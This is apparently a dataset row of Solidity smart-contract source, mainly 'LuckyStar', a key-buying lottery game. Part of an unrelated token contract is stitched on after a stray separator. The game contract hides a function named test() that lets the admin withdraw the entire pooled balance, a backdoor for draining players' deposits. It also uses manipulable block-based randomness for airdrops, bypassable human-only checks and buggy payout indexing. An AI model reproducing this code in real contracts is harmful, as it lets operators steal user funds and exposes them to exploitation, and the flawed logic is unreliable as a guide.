function setRegistrationFee(uint256 _fee)
onlyOwner()
public{
registrationFee_ = _fee;
}
}
contract LuckyStar is PlayerBook {
using SafeMath for *;
using NameFilter for string;
using LSKeysCalcShort for uint256;
address private admin = msg.sender;
string constant public name = "LuckyStar";
string constant public symbol = "LuckyStar";
uint256 constant gen_=55;
uint256 constant bigPrize_ =30;
uint256 public minBuyForPrize_=100 finney;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 1 minutes;
uint256 constant private rndMax_ = 6 hours;
uint256 constant private prizeTimeInc_= 1 days;
uint256 constant private stopTime_=1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (uint256 => uint256) public plyrOrders_;
mapping (uint256 => uint256) public plyrForPrizeOrders_;
mapping (uint256 => mapping (uint256 => LSDatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => LSDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
constructor()
public
{
pIDxAddr_[address(0xc7FcAD2Ad400299a7690d5aa6d7295F9dDB7Fc33)] = 1;
plyr_[1].addr = address(0xc7FcAD2Ad400299a7690d5aa6d7295F9dDB7Fc33);
plyr_[1].name = "sumpunk";
plyr_[1].super=true;
pIDxName_["sumpunk"] = 1;
plyrNames_[1]["sumpunk"] = true;
pIDxAddr_[address(0x2f52362c266c1Df356A2313F79E4bE4E7de281cc)] = 2;
plyr_[2].addr = address(0x2f52362c266c1Df356A2313F79E4bE4E7de281cc);
plyr_[2].name = "xiaokan";
plyr_[2].super=true;
pIDxName_["xiaokan"] = 2;
plyrNames_[1]["xiaokan"] = true;
pIDxAddr_[address(0xA97F850B019871B7a356956f8b43255988d1578a)] = 3;
plyr_[3].addr = address(0xA97F850B019871B7a356956f8b43255988d1578a);
plyr_[3].name = "Mr Shen";
plyr_[3].super=true;
pIDxName_["Mr Shen"] = 3;
plyrNames_[3]["Mr Shen"] = true;
pID_ = 3;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 0, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LSDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LSDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
LSDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID,true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
} else {
_eth = withdrawEarnings(_pID,true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt )
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt ).sub(_now) );
else
return(0);
}
function getDailyTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].prizeTime)
return( (round_[_rID].prizeTime).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(30)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(gen_)) / 100).mul(1e18)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1e18) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
0,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function test() public {
require(msg.sender == admin, "only admin can activate");
admin.transfer(this.balance);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && _now<round_[_rID].prizeTime && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
if(_now>(round_[_rID].prizeTime-prizeTimeInc_)&& _now<(round_[_rID].prizeTime-prizeTimeInc_+stopTime_)){
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}else{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}
} else {
if ((_now > round_[_rID].end||_now>round_[_rID].prizeTime) && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, LSDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && _now<round_[_rID].prizeTime && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
if(_now>(round_[_rID].prizeTime-prizeTimeInc_)&& _now<(round_[_rID].prizeTime-prizeTimeInc_+stopTime_)){
revert();
}
plyr_[_pID].gen = withdrawEarnings(_pID,false).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if ((_now > round_[_rID].end||_now>round_[_rID].prizeTime) && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 1e20 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1e18)
{
uint256 _availableLimit = (1e18).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].plyrCtr++;
plyrOrders_[round_[_rID].plyrCtr] = _pID;
if(_eth>minBuyForPrize_){
round_[_rID].plyrForPrizeCtr++;
plyrForPrizeOrders_[round_[_rID].plyrForPrizeCtr]=_pID;
}
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(LSDatasets.EventReturns memory _eventData_)
private
returns (LSDatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = getPlayerID(msg.sender);
bytes32 _name = getPlayerName(_pID);
uint256 _laff = getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, LSDatasets.EventReturns memory _eventData_)
private
returns (LSDatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LSDatasets.EventReturns memory _eventData_)
private
returns (LSDatasets.EventReturns)
{
uint256 _rID = rID_;
uint _prizeTime=round_[rID_].prizeTime;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _com = (_pot / 20);
uint256 _res = _pot.sub(_com);
uint256 _winLeftP;
if(now>_prizeTime){
_winLeftP=pay10WinnersDaily(_pot);
}else{
_winLeftP=pay10Winners(_pot);
}
_res=_res.sub(_pot.mul((74).sub(_winLeftP)).div(100));
admin.transfer(_com);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.newPot = _res;
if(now>_prizeTime){
_prizeTime=nextPrizeTime();
}
rID_++;
_rID++;
round_[_rID].prizeTime=_prizeTime;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function pay10Winners(uint256 _pot) private returns(uint256){
uint256 _left=74;
uint256 _rID = rID_;
uint256 _plyrCtr=round_[_rID].plyrCtr;
if(_plyrCtr>=1){
uint256 _win1= _pot.mul(bigPrize_).div(100);
plyr_[plyrOrders_[_plyrCtr]].win=_win1.add( plyr_[plyrOrders_[_plyrCtr]].win);
_left=_left.sub(bigPrize_);
}else{
return(_left);
}
if(_plyrCtr>=2){
uint256 _win2=_pot.div(5);
plyr_[plyrOrders_[_plyrCtr-1]].win=_win2.add( plyr_[plyrOrders_[_plyrCtr]-1].win);
_left=_left.sub(20);
}else{
return(_left);
}
if(_plyrCtr>=3){
uint256 _win3=_pot.div(10);
plyr_[plyrOrders_[_plyrCtr-2]].win=_win3.add( plyr_[plyrOrders_[_plyrCtr]-2].win);
_left=_left.sub(10);
}else{
return(_left);
}
uint256 _win4=_pot.div(50);
for(uint256 i=_plyrCtr-3;(i>_plyrCtr-10)&&(i>0);i--){
if(i==0)
return(_left);
plyr_[plyrOrders_[i]].win=_win4.add(plyr_[plyrOrders_[i]].win);
_left=_left.sub(2);
}
return(_left);
}
function pay10WinnersDaily(uint256 _pot) private returns(uint256){
uint256 _left=74;
uint256 _rID = rID_;
uint256 _plyrForPrizeCtr=round_[_rID].plyrForPrizeCtr;
if(_plyrForPrizeCtr>=1){
uint256 _win1= _pot.mul(bigPrize_).div(100);
plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]].win=_win1.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]].win);
_left=_left.sub(bigPrize_);
}else{
return(_left);
}
if(_plyrForPrizeCtr>=2){
uint256 _win2=_pot.div(5);
plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr-1]].win=_win2.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]-1].win);
_left=_left.sub(20);
}else{
return(_left);
}
if(_plyrForPrizeCtr>=3){
uint256 _win3=_pot.div(10);
plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr-2]].win=_win3.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]-2].win);
_left=_left.sub(10);
}else{
return(_left);
}
uint256 _win4=_pot.div(50);
for(uint256 i=_plyrForPrizeCtr-3;(i>_plyrForPrizeCtr-10)&&(i>0);i--){
if(i==0)
return(_left);
plyr_[plyrForPrizeOrders_[i]].win=_win4.add(plyr_[plyrForPrizeOrders_[i]].win);
_left=_left.sub(2);
}
return(_left);
}
function nextPrizeTime() private returns(uint256){
while(true){
uint256 _prizeTime=round_[rID_].prizeTime;
_prizeTime =_prizeTime.add(prizeTimeInc_);
if(_prizeTime>now)
return(_prizeTime);
}
return(round_[rID_].prizeTime.add( prizeTimeInc_));
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_)
private
returns(LSDatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _invest_return = 0;
bool _isSuper=plyr_[_affID].super;
_invest_return = distributeInvest(_pID, _eth, _affID,_isSuper);
if(_isSuper==false)
_com = _com.mul(2);
_com = _com.add(_invest_return);
plyr_[pIdx_].aff=_com.add(plyr_[pIdx_].aff);
return(_eventData_);
}
function distributeInvest(uint256 _pID, uint256 _aff_eth, uint256 _affID,bool _isSuper)
private
returns(uint256)
{
uint256 _left=0;
uint256 _aff;
uint256 _aff_2;
uint256 _aff_3;
uint256 _affID_1;
uint256 _affID_2;
uint256 _affID_3;
if(_isSuper==true)
_aff = _aff_eth.mul(12).div(100);
else
_aff = _aff_eth.div(10);
_aff_2 = _aff_eth.mul(3).div(100);
_aff_3 = _aff_eth.div(100);
_affID_1 = _affID;
_affID_2 = plyr_[_affID_1].laff;
_affID_3 = plyr_[_affID_2].laff;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID_1].aff = _aff.add(plyr_[_affID_1].aff);
if(_isSuper==true){
uint256 _affToPID=_aff_eth.mul(3).div(100);
plyr_[_pID].aff = _affToPID.add(plyr_[_pID].aff);
}
} else {
_left = _left.add(_aff);
}
if (_affID_2 != _pID && _affID_2 != _affID && plyr_[_affID_2].name != '') {
plyr_[_affID_2].aff = _aff_2.add(plyr_[_affID_2].aff);
} else {
_left = _left.add(_aff_2);
}
if (_affID_3 != _pID && _affID_3 != _affID && plyr_[_affID_3].name != '') {
plyr_[_affID_3].aff = _aff_3.add(plyr_[_affID_3].aff);
} else {
_left= _left.add(_aff_3);
}
return _left;
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, LSDatasets.EventReturns memory _eventData_)
private
returns(LSDatasets.EventReturns)
{
uint256 _gen = (_eth.mul(gen_)) / 100;
uint256 _air = (_eth / 50);
uint256 _com= (_eth / 20);
uint256 _aff=(_eth.mul(19))/100;
airDropPot_ = airDropPot_.add(_air);
uint256 _pot= _eth.sub(_gen).sub(_air);
_pot=_pot.sub(_com).sub(_aff);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _genVault = plyr_[_pID].gen;
uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit)
{
uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw);
plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].mask = 0;
}
}
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].mask) )
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
return 0;
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function withdrawEarnings(uint256 _pID,bool isWithdraw)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
if (isWithdraw)
plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "LuckyStar already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now ;
round_[1].end = now + rndInit_ ;
round_[1].prizeTime=1536062400;
}
function setMinBuyForPrize(uint256 _min)
onlyOwner()
public{
minBuyForPrize_ = _min;
}
}
library LSDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
bool super;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 keyProfit;
uint256 genWithdraw;
}
struct Round {
uint256 plyr;
uint256 plyrCtr;
uint256 plyrForPrizeCtr;
uint256 prizeTime;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library LSKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,303 |
pragma solidity ^0.4.20;
library safeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b != 0);
return a % b;
}
}
contract Event
{
event Transfer(address indexed from, address indexed to, uint256 value);
event Deposit(address indexed sender, uint256 amount , string status);
event TokenBurn(address indexed from, uint256 value);
event TokenAdd(address indexed from, uint256 value);
event Set_Status(string changedStatus);
event Set_TokenReward(uint256 changedTokenReward);
